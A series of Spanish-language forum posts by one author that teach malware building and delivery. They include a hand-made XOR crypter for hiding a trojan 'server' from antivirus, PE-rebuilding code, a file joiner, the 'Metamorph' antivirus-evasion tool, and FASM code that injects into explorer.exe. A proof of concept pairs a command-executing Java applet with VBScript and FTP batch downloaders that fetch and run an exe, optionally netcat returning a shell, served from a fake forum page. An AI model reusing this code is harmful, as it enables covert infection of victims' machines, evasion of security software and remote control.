      Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



      Insertando la rutina encriptadora/desencriptadora

      Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:


      ;---------------------------------------------------------------
      ;Taller Encriptacion Malware a Mano: Código Desencriptación
      ;---------------------------------------------------------------
      ;Movemos a eax la dirección de inicio del código cifrado
      mov eax,402000h
      ;Movemos a ebx la dirección de fin del código cifrado
      mov ebx,403000h
      ;Movemos a ecx la dir del Entry Point Original
      mov ecx,401038h
      xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
      inc eax                    ;Nos desplazamos al siguiente byte
      cmp eax,ebx                ;Comprobamos si es el último
      jne 401234h                ;Si no lo es, continuamos con el siguiente
      ret                        ;Salimos del programa (cambiar ret por nop despues de cifrar)
      jmp ecx                    ;Si lo es, saltamos el Entry Point Original


      Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.


      Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


      Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


      Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos  ;D), así que hay que cambiarlas por sus valores correctos.

      Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


      Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
         (0x200-0x200)+0x1000+0x400000=401000.

      Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
          (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex  :P).

      Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:



      Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

      Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


      Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


      Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

      Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


      Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


      cifrando, descifrando

      Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


      Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles  :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

      Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


      Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual  ;D":


      Despedida
      Bueno, pues espero que hayáis aprendido algo de mis palabras y del método, sobre todos los que no sabían lo que hacer un crypter, y los que sabían, pues seguro algo aprendieron tambien  ;).

      Que lo disfrutéis! Y ya sabéis, cualquier duda  ;).

      Subo también el server modificado después de todo el proceso para que os ayude a encontrar posibles fallos que tengáis  :P.  Descargar

      Saludos

      PD: Algo que se me olvidó mecionar, utilizando éste método no es necesario inyectar nada en ningún proceso, por lo nos evitamos problemas con heurísticas, y aumentamos 0byes el peso del archivo  :laugh:.

      Edito: Al final el server no quedó FUD, era que no subí lo que era, y es lo más normal ya que con un simple Xor no se pueden quitar todo así como así  :xD. De todas formas eso no importa demasiado, en ésta caso hay espacio de sobra para poner una cifrado mas difícil etc...  ;D.
    #13
    Bueno, pues yo aquí otra vez con una función  :xD. Ésta función cambia bastantes cosas en el PE, cambia las secciones de orden (en lo que es en el archivo, en la cabecera no ya que de poco serviría), mete el EOF Data dentro de la última sección y actualiza el CheckSum (me aburría  :P). Tambien tenía casi terminado para que cambiara el Align del archivo, pero se me extendía demasiado el código, si necesito terminarla lo posteo en una función aparte.

    La parte de reordenar las secciones se puede hacer de una forma más rápida y con menos código (Cambiando sólo el PointerToRawData), pero como eso se me ocurrió despues de terminar..

    LPSTR RebuildPE(LPSTR FileName,LPSTR lpFileMaped,DWORD FileSize)
    {
    PIMAGE_DOS_HEADER IDH;
    PIMAGE_NT_HEADERS INTH;
    PIMAGE_SECTION_HEADER ISH;

    IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

    //Creamos un buffer y guardamos una copia del archivo mapeado
    LPSTR Temp=(LPSTR)GlobalAlloc(GPTR,FileSize);
    CopyMemory(&Temp[0],&lpFileMaped[0],FileSize);

    //Cambiamos las secciones en el archivo de orden (no en la cabecera)
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    PIMAGE_DOS_HEADER tIDH;
    PIMAGE_NT_HEADERS tINTH;
    PIMAGE_SECTION_HEADER tISH;
    PIMAGE_SECTION_HEADER tISH2;
    PIMAGE_SECTION_HEADER ISH2;

    tIDH=(PIMAGE_DOS_HEADER)&Temp[0];
    tINTH=(PIMAGE_NT_HEADERS)&Temp[tIDH->e_lfanew];

    tISH=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
    ISH2=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*(i+1)];
    tISH2=(PIMAGE_SECTION_HEADER)&Temp[tIDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];


    if(i!=INTH->FileHeader.NumberOfSections-1)
    {
    CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
    ISH->SizeOfRawData=tISH->SizeOfRawData;
    ISH->Characteristics=tISH->Characteristics;
    ISH->VirtualAddress=tISH->VirtualAddress;
    CopyMemory(&ISH->Name,&tISH->Name,8);

    ISH2->PointerToRawData=ISH->PointerToRawData+tISH->SizeOfRawData;
    }
    else
    {
    tISH=(PIMAGE_SECTION_HEADER)&Temp[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)];
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    CopyMemory(&lpFileMaped[ISH->PointerToRawData],&Temp[tISH->PointerToRawData],tISH->SizeOfRawData);
    ISH->SizeOfRawData=tISH->SizeOfRawData;
    ISH->Characteristics=tISH->Characteristics;
    ISH->VirtualAddress=tISH->VirtualAddress;
    CopyMemory(&ISH->Name,&tISH->Name,8);
    }
    }

    LPSTR SecTmp=(LPSTR)GlobalAlloc(GPTR,0x28*INTH->FileHeader.NumberOfSections);
    CopyMemory(&SecTmp[0],&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],0x28*INTH->FileHeader.NumberOfSections);

    //Reordenamos las secciones en la cabecera
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    if(i==0)
    {
    CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)],&SecTmp[0x28*(INTH->FileHeader.NumberOfSections-1)],0x28);
    }
    else
    {
    CopyMemory(&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i],&SecTmp[0x28*(i-1)],0x28);
    }
    }

    GlobalFree(Temp);

    //Obtenemos el PointerToRawData más alto y el tamaño total de todas las secciones
    DWORD MaxPointerToRawData=0;
    DWORD TotalSectionsSize=0;
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];

    if(MaxPointerToRawData<ISH->PointerToRawData)
    {
    MaxPointerToRawData=ISH->PointerToRawData;
    }
    TotalSectionsSize=TotalSectionsSize+(DWORD)(ISH->SizeOfRawData);
    }

    //Obtenemos la sección con el PointerToRawData más alto
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    //Si es la sección que contiene el PointerToRawData más alto salimos del bucle
    if(ISH->PointerToRawData==MaxPointerToRawData)
    {
    i=INTH->FileHeader.NumberOfSections;
    }
    }

    //Si hay EOF Data
    if(ISH->PointerToRawData+ISH->SizeOfRawData<FileSize)
    {
    //Metemos el EOF Data dentro de la última sección
    ISH->SizeOfRawData=ISH->SizeOfRawData+(FileSize-(ISH->PointerToRawData+ISH->SizeOfRawData));
    }

    //Obtenemos el SizeOfImage y ajustamos el VirtualSize de las secciones
    DWORD SizeOfImage=0;
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    ISH->Misc.VirtualSize=ISH->SizeOfRawData;
    if(SizeOfImage<ISH->VirtualAddress)
    {
    SizeOfImage=ISH->VirtualAddress+ISH->Misc.VirtualSize;
    }
    }

    //Ajustamos el SizeOfImage
    INTH->OptionalHeader.SizeOfImage=SizeOfImage;

    //Recalculamos el CheckSum
    _MapFileAndCheckSum miMapFileAndCheckSum=NULL;
    HMODULE hLib=LoadLibraryA("IMAGEHLP.DLL");
    miMapFileAndCheckSum=(_MapFileAndCheckSum)GetProcAddress(hLib,"MapFileAndCheckSumA");

    DWORD OrignalCheckSum=0;
    DWORD newCheckSum=0;
    miMapFileAndCheckSum((PTSTR)FileName,&OrignalCheckSum,&newCheckSum);

    INTH->OptionalHeader.CheckSum=newCheckSum;

    return lpFileMaped;
    }


    Como las secciones no están ordenadas por el PointerToRawData en la cabecera, algunos visores del PE (Pe explorer por ejemplo) dice que tiene EOF data, pero no la tiene  ;D.



    Saludos

    PD: Gracias a Karcrack y Arkangel por escuchar mis lamentos  ;D.
    #14
    Pues eso, al parecer el sitemap del foro no funciona correctamente, seguramente es debido al seo4smf que no da soporte para las actualizaciones de smf y tampoco lo hace para la 2.0 de momento   :¬¬ .

    Saludos  ;)
    #15
    Abril negro / Little Joiner 1.0 (Open Source)
    10 Mayo 2009, 13:05 PM
    Little Joiner

    Bueno, pare descansar un poco de programar el Virus Metamorph me puse a programar éste joiner.

    ¿Qué es?

    Es un Joiner programado en C capaz de unir infinitos archivos, lo de siempre  :xD.

    Captura


    Características
    -Tamaño del stu reducido, 1.7kb.

    -Comprime los archivos a juntar. Ésto quiere decir que si juntamos un archivo de 20kb con uno de 10kb más el stub de 1.7kb el tamaño del ejecutable final rondará los 10kb (Depende del tipo de archivo) Gracias a Karcrack por hablarme de éstas apis que no conocía  ;)

    -Dos stubs, uno que soporta icono y otro que no

    -El stub sin icono realinea el pe para dejar el EOF dentro de la sección.

    -Permite cambiar el icono


    Cosas que se pueden mejorar

    -Se puede añadir cifrado, no lo hice porque el comprimir ya se ofusca bastante, pero puede ser algo a añadir.

    -El stub con icono no permite dejar los archivos dentro de la sección sinó que se quedan en el EOF. Ésto se debe a que no sé con antelación cuanto va a ocupar el archivo ya que dependerá del icono que se le añada, se podría corregir añadiendo una sección para albergar los archivos a juntar.

    -Seguro tiene algunos fallos debido a que apenas lo testeé y ya estoy cansado de joiner  :xD.

    Descargar Aplicación

    Descargar Source

    Saludos

    PD: La función para cambiar el icono no es mía, pertenece a Tughack.
    #16
    Bueno, haciendo limpieza en mi pc me encontré éste user control para vb bastante útil, permite el multithreading y además de una forma muy sencilla. Además viene con un ejemplo por las dudas.

    Descargar User Control

    Saludos
    #17
    Abril negro / Proyecto Metamorph
    24 Abril 2009, 23:31 PM
    Metamorph


    Autores:



    -Arkangel
    -Karcrack
    -Hacker_Zero

    Bueno lo prometido es deuda, dije que os mantendría informados sobre el desarrollo de éste proyecto y lo haré en éste post. Iré actualizando éste post según vayamos progresando en el desarrollo del proyecto, y así también se le dará la oportunidad a cualquiera de aportar sus ideas.

    Próxima Versión:

    La próxima versión será la v2.0. Con ésta versión el proyecto da un vuelco para dejar de ser una herramienta y convertirse en un entorno para la indetectabilización de malware, contanto con numerosas herramientas como un disassembler, editor hexadecimal, editor de recursos, buscador de firmas, etc.

    Otra importante novedad es que en ésta versión utilizaremos las librerías Qt para el desarrollo de la GUI, lo que nos adelanta bastante trabajo y la la vez da unos resultados muy buenos.

    Algunas de las nuevas características que tendrá la nueva versión son por ejemplo, que cuenta con un disassembler, lo que le permite al programa modificar el ejecutable a su antojo sin correr el riesgo de modificar opcodes que sin saber a qué pertenecen. Otra característica importante y que esperamos que dé buenos resultados es la opción de hacer un rebuild a la IAT, tanto sobreescribiendo la IAT original, como moviendola a otro sitio como cambiar la IAT por otra que sólo importe LoadLibraryA y GetProcAddress y encripte las otras apis y se encargue de cargarlas en tiempo de ejecución  :).


    Desarrollo próxima versión: 20%






    Versión 2.0 20%

    Capturas:








    Desarrollo

    -GUI 90%
    -Dll Debuger 70%
    -Disassembler 60%
    -Rebuild IAT 50%
    -Buscador de Firmas 40%
    -Editor Resource 10%
    -Añadir Espacio Sección Ejecutable 100%
    -Añadir Sección 100%






    Versión 1.0 BETA 100%


    Características:

    -Visor PE
    -Buscar espacio libre
    -Redireccionar Entry Point
    -Detección de ejecutables VB
    -Forzar Metamorfosis Offset (Meepa)
    -Forzar Metamorfosis Offset (Xor)
    -Redireccionar Calls C/C++ y ASM (Recodeada, con algoritmo pseudoaleatorio, nunca genera exes iguales)
    -Ofuscación mediante la inserción de saltos
    -Cambiar el Case de los Imports


    Versión BETA. El programa seguramente tenga numerosos fallos y el comportamiento puede no ser el esperado.

    El programa sólo funciona bien con ejecutables compilados en ASM y C/C++. No es recomendable usarlo con ejecutables en VB o en Delphi debido a que creará un ejecutable corrupto con un 99% de certeza.

    Es necesario que el ejecutable tenga espacio libre al final de la sección ejecutable, en caso contraro el programa no funcionará. En el caso de crear éste espacio a mano, dejar la zona a 0's

    En algunos pc's el programa se cuelga al pulsar analizar. Debido a la imposibilidad de los autores de reproducir éste error, si alguien encuentra la causa sería de gran ayuda.

    Lo más interesante de ésta versión BETA es el código fuente. Rogamos que cualquier recomendación, bug, cuelgue, ejecutable corrupto o cualquier tipo de problema sea comunicado para poder solucionarlo.

    Probado con ejecutables compilados en C/C++ y FASM de los cuales en ningún caso provocó la corrupción del ejecutable.

    El rating de eficacia es bastante alto, usando una combinación de RedirectCalls, Jmp Ofuscation y Change IAT Case quita una media de 10-15 antivurs de 20.

    Lista de Bugs encontrados hasta el momento:
    - En algunos PC's el programa se cierra al pulsar analizar.
    - No funciona con ejecutables de 64 bits.
    - El programa debería comprobar si existe la carpeta Tools.
    - La función de ofuscación por jmp's puede romper el ejecutable, hay que depurarla más.

    Descargar Herramienta
    Descargar Código Fuente




    Iré actualizando el post según vayamos progresando.

    Saludos  ;).
    #18
    ASM / SRCs de Hacker_Zero
    18 Abril 2009, 11:51 AM
    Bueno, lo primero no sé si esto debe ir aquí o en análisis y diseño de malware, sino no va a aquí que alguien lo mueva  :).

    Código (asm) [Seleccionar]
    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
    ;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\
    ;\\\///\\\///\\\///\\\///\\\          By Hacker_Zero       //\\\///\\\///\\\///\\\
    ;\\\///\\\///\\\///\\\///\\\      http://www.eduhack.es    //\\\///\\\///\\\///\\\
    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\

    Format PE GUI 4.0
    entry start
    include 'win32a.inc'

    Proceso                 db 'explorer.exe',0
    nUser32                 db 'USER32.DLL',0
    nMessageBox             db 'MessageBoxA',0
    hProceso                dd ?
    DirFuncion              dd ?
    TamañoDatos             dd ?
    pInfo                   PROCESS_INFORMATION
    sInfo                   STARTUPINFO

    start:
    ;Cargamos la USER32.DLL
    invoke LoadLibrary,nUser32

    ;Obtenemos la dirección de MessageBoxA
    invoke GetProcAddress,eax,nMessageBox
    mov [mMessageBoxA],eax

    ;Obtenemos la dirección de ExitProcess
    push    [ExitProcess]
    pop     [mExitProcess]

    ;Creamos el Proceso
    invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo

    ;Guardamos el Handle
    push [pInfo.hProcess]
    pop [hProceso]

    ;Obtenemos el tamaño e la función a inyectar
    mov ebx,FIN
    sub ebx,FuncionInyectada
    mov [TamañoDatos],ebx

    ;Reservamos espacio en memoria para la función a inyectar
    invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
    mov [DirFuncion],eax

    ;Escribimos en memoria los datos
    invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0

    ;Creamos el hilo en el proceso
    invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0

    ;Salimos
    invoke ExitProcess,0

    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
    ;\\\///\\\///\\\///\\\///\  Función Que se Inyecta  ///\\\///\\\///\\\///
    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
    proc FuncionInyectada
    ;Obtenemos la dirección de memoria donde nos estamos ejecutando
    pushad
    call delta
    delta:
    pop ebp
    sub ebp,delta
    push ebp ebp
    pop ebx ecx

    ;Obtenemos la dirección donde se cargó el Mensaje y el Título
    add ebx,Mensaje
    add ecx,Titulo

    ;Llamamos a MessageboxA
    push 0
    push ebx
    push ecx
    push 0
    call [ebp+mMessageBoxA]

    ;Llamamos a ExitProcess
    push 0
    call [ebp+mExitProcess]

    Titulo           db 'Code Inyectado!',0
    Mensaje          db 'xD',0

    ;Las direcciones en memoria de las apis
    mMessageBoxA     dd ?
    mExitProcess     dd ?
    endp
    FIN:
    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
    ;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\///
    ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///

    data import
        library KERNEL32,'KERNEL32.DLL'
        import  KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateRemoteThread,'CreateRemoteThread',\
                WriteProcessMemory,'WriteProcessMemory',\
                VirtualAllocEx,'VirtualAllocEx',\
                ExitProcess,'ExitProcess',\
                LoadLibrary,'LoadLibraryA',\
                GetProcAddress,'GetProcAddress'
    end data   


    Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.

    Saludos
    #19
    [POC] Infección Mediante Java Applet (y VBScript)

    Fuente milw0rm.com
    Autor: AnalyseR

    POC y post realizado por Wofo y Hacker_Zero para www.eduhack.es

    Bueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.

    Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).

    Empezamos con el Applet
    Lo primero será compilar el siguiente código en Java:

    Código (java) [Seleccionar]
    import java.applet.*;
    import java.awt.*; 
    import java.io.*;
    public class skata extends Applet
    {
         public void init()
         {
              Process f;
              String first = getParameter("first");

               try
               {
                    f = Runtime.getRuntime().exec(first);
               }

               catch(IOException e)
               {
                    e.printStackTrace();
               }
          }
    }


    Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:

    Código (html4strict) [Seleccionar]

    <applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>

    <param name='first' value='cmd.exe /c msg * Hola Mundo!'>

    </applet>


    Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.

    Para crear el archivo VBS utilizamos Streams de salida en Batch:

    cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs

    El siguiente código en VBScript descarga un Archivo binario  y lo ejecuta:

    Código (vb) [Seleccionar]
    Const adTypeBinary = 1 
    Const adSaveCreateOverWrite = 2 
    Dim BinaryStream 
    Set BinaryStream = CreateObject("ADODB.Stream") 
    BinaryStream.Type = adTypeBinary 
    BinaryStream.Open 
    BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) 
    BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite 
    Function BinaryGetURL(URL) 
    Dim Http 
    Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") 
    Http.Open "GET", URL, False 
    Http.Send 
    BinaryGetURL = Http.ResponseBody 
    End Function 
    Set shell = CreateObject("WScript.Shell") 
    shell.Run "cmd.exe /c C:\archivo.exe"


    Su funcionamiento es muy sencillo:

    Codigo.vbs http://www.pagina.com/archivo.exe C:\archivo.exe

    Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".

    Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:

    @echo off
    echo usuario@nombreftp.com>C:\datos.txt
    echo contraseña>>C:\datos.txt
    echo cd /path>>C:\datos.txt
    echo pwd>>C:\datos.txt
    echo binary>>C:\datos.txt
    echo get archivo.exe>>C:\datos.txt
    echo bye>>C:\datos.txt
    echo quit>>C:\datos.txt
    ftp -s:C:\datos.txt nombreftp.com
    start archivo.exe


    El archivo descargado (en nuestro ejemplo [al final del post]) lo único que nos da es una advertencia y la ip y el puerto que le pasamos por php.
    Lo de la ip y el puerto funciona gracias a un sencillo código PHP:

    Código (php) [Seleccionar]

    <?php
    if(isset($HTTP_GET_VARS["ip"])) {
    $ip $HTTP_GET_VARS["ip"];
    }
    else 
    $ip 127.0.0.1;

    if(isset(
    $HTTP_GET_VARS["puerto"])) {
    $puerto $HTTP_GET_VARS["puerto"];
    }
    else 
    $port 7173;

    echo 
    '
    <applet width="1" height="1" code="nombreclaseapplet.class" archive="nombreapplet.jar">
    <param name="first" value="cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '
    .$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
    </applet>'
    ;
    ?>



    Con este código lo que hacemos es editar el código VBs para que ejecute el archivo descargado, pasando como parámetros la ip y el puerto introducidos en la URL.

    Para que tengan una mejor idea de lo que digo les dejo el código en C++ del programa que se descarga en el ejemplo:

    Código (cpp) [Seleccionar]

    #include <iostream>



    using namespace std;



    int main(int argc, char* argv[]) {

    cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;

        cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;

        cout << "La ip introducida mediante PHP es " << argv[1] << endl;

        cout << "El puerto introducido mediante PHP es " << argv[2] << endl;

    }


    Las variables de la url en php se pasan al VBS. Al ejecutar el VBS éste ejecuta nuestro archivo.exe con los parámetros.

    Pudiendo hacer esto, las posibilidades que ofrece este método son infinitas... Se puede mandar cualquier programa y ejecutarlo sin que el usuario sospeche nada, imagina que mandamos un netcat con los parámetros para que nos pase una shell, o que mandamos un troyano o lo que sea. Nuevamente digo, las posibilidades son infinitas.

    Les dejamos una prueba de concepto en el siguiente link:

    http://wofo.x10hosting.com/hacking/JAVA/POCapplet/index.php?board=127.0.0.1&topic=7765

    Otra poc usando ftp desde la línea de comandos, sin necesidad de vbs:

    http://wofo.x10hosting.com/hacking/JAVA/POCapplet/indexftp.php?board=127.0.0.1&topic=7765

    Como verán, es un fake muy convincente de un post del foro (fake hecho por HACKER_ZERO).
    Lo que hace es, cuando ejecutan el applet, crea el codigo en .vbs y lo ejecuta, el cual se encarga de descargar el archivo.exe y ejecutarlo con los parámetros. Ambos archivos se descargan en C:\Windows como apsou.vbs y update.exe.

    Testeado usando netcat en:

    - Firefox  3.05, Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

    - IE Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

    - Firefox  3.05, Windows XP SP2 con Firewall de Windows, Avast y su Firewall activo. (Gracias Shell Killer  ;))




    Cualquier duda o pregunta la recibimos con los brazos abiertos.

    Salu2
    #20
    Java / [Source] Agenda Gráfica
    15 Diciembre 2008, 21:29 PM
    Bueno, pues inspirándome en el source de Burnhack, aquí va mi primer programa en java, la agenda tene interfaz gráfica y guarda los datos en un .txt por lo que no los pierde al cerrar, no tiene mucho mas  :-\. Haber si alguien me puede decir como mejorarla o que partes podrían estar mejor ya que es mi primero programa en Java y tambien en POO que no es lo mío.

    Una imagen:


    No pongo el source aquí ya que el code está muy comentado y se cortarían las líneas, mejor lo véis con un compilador a pantalla completa, jeje.

    Descargar Binarios

    Descargar Source

    Saludos
    #21
    Nivel Web / SQL Injection Tool
    7 Diciembre 2008, 23:00 PM
    SQL Injection Tool v1.0 BETA

    Bueno, antes de nada decir que dudé bastante en publicar ésta herramienta por la inmensa facilidad con la que permite hacer inyecciones sql, pero como es beta aun, tiene muchos bugs, limitaciones y cosas que corregir pues la pongo para que me den recomendaciones y opiniones.

    Nombre: SQL Injection Tool
    Lenguaje Programación: VB.NET
    Autor: Hacker_Zero

    Descargar SQL Injection Tool

